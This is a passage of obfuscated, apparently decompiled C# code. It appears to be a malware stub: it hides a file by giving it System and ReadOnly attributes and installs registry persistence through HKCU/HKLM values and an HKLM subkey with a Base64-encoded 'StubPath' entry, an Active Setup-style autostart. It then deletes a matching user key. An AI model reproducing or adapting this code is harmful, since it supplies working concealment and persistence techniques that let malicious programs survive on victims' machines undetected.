              System.IO.File.SetAttributes(path, System.IO.File.GetAttributes(path) | FileAttributes.ReadOnly);
            if (this.oeygnuctraxnjd2t2xylgcgwt == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MQ=="))
              System.IO.File.SetAttributes(path, System.IO.File.GetAttributes(path) | FileAttributes.System);
          }
        }
        this.yi4a12p1lqcxa2d2ckkuwmx2y(xp43p4bxx3i3uxg5zqeqr3mkos0wzm3ep.jeuqjvb1edhczrmrcddcfjyrbkgzy5eq5(this.rmq04qrgvymsnxnzaauclonz4(executablePath, 98, ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("SjJNVTRWTVhWUkpJS1ZPVFlaMTQ1VU5TWkQxS0NCT1ZJ"))));
        if (!this.qjgvtp5dxw2xd3cymnnrrpi4q)
          return;
        this.ad1vi241wyo23agtvnemgivkyuh243nog();
      }
      catch (Exception ex)
      {
        Console.WriteLine(ex.Message);
      }
    }

    private void Zvyyb03fyylfr3leq2ogwlkzx(
      string Yq3ydwexug20uthmz2ubur2jepv13qpwg,
      string rxcxnisdudntk1fjudcmbtlm5,
      string Ulb5u4r5ba0bnzcq1,
      int Y534kkkdcdljareknie3ppsg1)
    {
      this.lhavasqwmjebhnrkb = true;
      if (Y534kkkdcdljareknie3ppsg1 == 1)
        Registry.CurrentUser.OpenSubKey(Yq3ydwexug20uthmz2ubur2jepv13qpwg, true).SetValue(rxcxnisdudntk1fjudcmbtlm5, (object) Ulb5u4r5ba0bnzcq1);
      if (Y534kkkdcdljareknie3ppsg1 == 2)
        Registry.LocalMachine.OpenSubKey(Yq3ydwexug20uthmz2ubur2jepv13qpwg, true).SetValue(rxcxnisdudntk1fjudcmbtlm5, (object) Ulb5u4r5ba0bnzcq1);
      if (Y534kkkdcdljareknie3ppsg1 != 3)
        return;
      RegistryKey subKey = Registry.LocalMachine.CreateSubKey(Yq3ydwexug20uthmz2ubur2jepv13qpwg + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XFw=") + rxcxnisdudntk1fjudcmbtlm5);
      subKey.SetValue(ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("U3R1YlBhdGg="), (object) Ulb5u4r5ba0bnzcq1);
      subKey.Close();
      if (Registry.CurrentUser.OpenSubKey(Yq3ydwexug20uthmz2ubur2jepv13qpwg + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XFw=") + rxcxnisdudntk1fjudcmbtlm5, true) == null)
        return;
      Registry.CurrentUser.DeleteSubKey(Yq3ydwexug20uthmz2ubur2jepv13qpwg + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XFw=") + rxcxnisdudntk1fjudcmbtlm5, false);
    }

    private static void Main(string[] args) => new P3gp3nhhay2byunb2ryhhvgoe().Detxmohej30sq5rdtby5aviwjiokh2gif();
  }
}